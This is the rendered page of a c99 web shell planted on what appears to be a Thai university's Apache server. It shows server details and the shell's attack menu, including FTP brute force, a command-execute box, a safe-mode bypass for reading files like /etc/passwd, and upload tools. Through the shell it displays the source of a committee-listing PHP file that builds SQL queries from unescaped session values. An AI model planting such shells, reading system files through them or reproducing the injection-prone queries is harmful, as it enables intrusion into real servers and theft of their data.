!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditCommittList.php (12.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$sql "Select * From personal_tb Where Username='$Username'";
$result mysql_query($sql) or die(" Error1").mysql_error();
$num mysql_num_rows($result);
$rs mysql_fetch_array($result);
$Teacher_code $rs[Teacher_code];
$sql2 "Select * From committee_tb Where Teacher_code='$Teacher_code'";
$result2 mysql_query($sql2) or die(" Error2").mysql_error();
$num mysql_num_rows($result2);
//$rs2 = mysql_fetch_array($result2);

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style15 {
    font-family: Tahoma;
    font-weight: bold;
    font-size: 12px;
}
.style20 {font-family: Tahoma; font-size: 12px; }
.style21 {font-size: 14px}
-->
</style>
<table width="825" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="825"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="AddCommittee.php?Teacher_code=<? echo $rs[Teacher_code?>">เพิ่มข้อมูลการเป็นกรรมการวิชาการ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="CommitteeMe.php?Teacher_code=<? echo $rs[Teacher_code?>">ข้อมูลการเป็นการรมการวิชาการ</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />แก้ไขข้อมูลการเป็นกรรมการวิชาการ</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="DelCommittee.php">
                <table width="99%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="29" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  
                  
                  <tr>
                    <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#006699" style="border:0px solid gray">
                      <tr bgcolor="#DFEBF9">
                        <td height="21" colspan="6" bgcolor="#FFFFFF"><div align="center"><font color="#003366" size="4" face="Tahoma"><strong><font size="2" face="Tahoma">
                          <input type="hidden" name="Teacher_code" value="<?=$Teacher_code;?>" />
                        </font></strong></font><font color="#003366" face="Tahoma"><strong><span class="style21"><font color="#FF0000">แก้ไข </font>- ข้อมูลการเป็นกรรมการบริการวิชาการ</span></strong></font> <span class="style21"><font face="Tahoma"> อ.<font color="#993333"><strong><? echo $rs['Teacher_name'?> &nbsp;</strong><font face="Tahoma"><strong><? echo $rs['Teacher_lastname'?></strong></font></font></font></span></div></td>
                      </tr>
                      <tr bordercolor="#0066CC" bgcolor="#CCE6FF">
                        <td colspan="4" align="center" bgcolor="#CCE6FF" style="border:1px solid gray">&nbsp;</td>
                        <td width="174" align="center" bgcolor="#CCE6FF" style="border:1px solid gray"><span class="style21"><font face="Tahoma">แยกประเภทตาม 
                          สมศ. 5.2</font></span></td>
                        <td width="340" align="center" style="border:1px solid gray"><span class="style21"><font face="Tahoma">แยกประเภทตามการเป็นกรรมการ</font> <font face="Tahoma">ให้บริการวิชาการอื่นฯ</font></span></td>
                      </tr>
                      <tr bordercolor="#0066CC" bgcolor="#CCE6FF">
                        <td width="20" align="center" bgcolor="#DFEBF9" class="style20" style="border:1px solid gray"><span class="style15">ลบ</span></td>
                        <td width="30" height="26" align="center" bgcolor="#DFEBF9" class="style20" style="border:1px solid gray"><span class="style20"><font color="#000000">ลำดับ</font></span></td>
                        <td width="26" align="center" bgcolor="#DFEBF9" class="style20" style="border:1px solid gray"><span class="style20">ปี 
                          พ.ศ </span></td>
                        <td width="216" align="center" bgcolor="#DFEBF9" class="style20" style="border:1px solid gray"><span class="style20"><font color="#000000">ชื่อเรื่อง</font></span></td>
                        <td align="center" class="style20" style="border:1px solid gray"><table width="100%" height="34" border="0" align="center" cellpadding="0" cellspacing="1">
                            <tr bgcolor="#DFEBF9">
                              <td width="38%" height="24" class="style20" style="border:1px solid gray"><div align="center">วิชาการ</div></td>
                              <td width="28%" class="style20" style="border:1px solid gray"><div align="center">วิชาชีพ</div></td>
                              <td width="34%" class="style20" style="border:1px solid gray"><div align="center">วิทยานิพนธ์</div></td>
                            </tr>
                        </table></td>
                        <td align="center" class="style20" style="border:1px solid gray"><table width="100%" height="34" border="0" align="center" cellpadding="0" cellspacing="1">
                            <tr bgcolor="#DFEBF9">
                              <td width="20%" height="27" class="style20" style="border:1px solid gray"><div align="center">ตรวจเครื่องมือ</div></td>
                              <td width="20%" class="style20" style="border:1px solid gray"><div align="center">คปสข.10</div></td>
                              <td width="20%" class="style20" style="border:1px solid gray"><div align="center">ครือข่าย 
                                ภาคกลาง</div></td>
                              <td width="20%" bgcolor="#DFEBF9" class="style20" style="border:1px solid gray"><div align="center">เครือข่าย 
                                สวส</div></td>
                              <td width="20%" class="style20" style="border:1px solid gray"><div align="center">กรรมการ 
                                อื่นๆ</div></td>
                            </tr>
                        </table></td>
                      </tr>
                      <?
  $i 
1;
  
$j 0;
  
$k 0;
  
$m 0;
  
$n 0;
  
$p 0;
  
$q 0;
 while(
$rs2 =mysql_fetch_array($result2) )
 {

     if(
$count==0)
     {
?>
                      <tr bgcolor="#F9FEFF" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#F9FEFF'" >
                        <td align="center" bordercolor="#EBFAFE"><input type="checkbox" name="checkbox[]" value="<? echo $rs2[code]?>" /></td>
                        <td align="center" bordercolor="#EBFAFE"><font size="1" face="Tahoma"><?echo $i?></font></td>
                        <td bordercolor="#EBFAFE"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Year_com]?></font></div></td>
                        <td bordercolor="#EBFAFE"><font color="#993333" size="2" face="Tahoma"> <a href="FrmEditCommittee.php?code=<? echo $rs2[code]?>" class="c"> <? echo $rs2[Title]?> </a> </font></td>
                        <td bordercolor="#EBFAFE"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                            <tr>
                              <td width="37%" height="18"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu]?></font></div></td>
                              <td width="35%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu_job]?></font></div></td>
                              <td width="28%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Tsis]?></font></div></td>
                            </tr>
                        </table></td>
                        <td bordercolor="#EBFAFE"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="2">
                            <tr>
                              <td width="20%" height="18"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Check_tool]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Scp10]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Club_bcnlp]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[North_network]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Else_commit]?></font></div></td>
                            </tr>
                        </table></td>
                      </tr>
                      <?
    $count
=1;
     }
else
{
?>
                      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                        <td align="center"><input type="checkbox" name="checkbox[]2" value="<? echo $rs2[code]?>" /></td>
                        <td align="center"><font size="1" face="Tahoma"><?echo $i?></font></td>
                        <td><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Year_com]?></font></div></td>
                        <td><font color="#993333" size="2" face="Tahoma"> <a href="FrmEditCommittee.php?code=<? echo $rs2[code]?>" class="c"> <? echo $rs2[Title]?> </a> </font></td>
                        <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                            <tr>
                              <td width="38%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu]?></font></div></td>
                              <td width="35%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu_job]?></font></div></td>
                              <td width="27%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Tsis]?></font></div></td>
                            </tr>
                        </table></td>
                        <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="2">
                            <tr>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Check_tool]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Scp10]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Club_bcnlp]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[North_network]?></font></div></td>
                              <td width="20%"><div align="center"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Else_commit]?></font></div></td>
                            </tr>
                        </table></td>
                      </tr>
                      <?
$count
=0;
}
$i++;
 }    
?>
                      <tr bordercolor="#FFFFFF" bgcolor="#DFEBF9">
                        <td colspan="6" align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value="   ลบ   " />                        </td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              <p>&nbsp;</p>
            </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--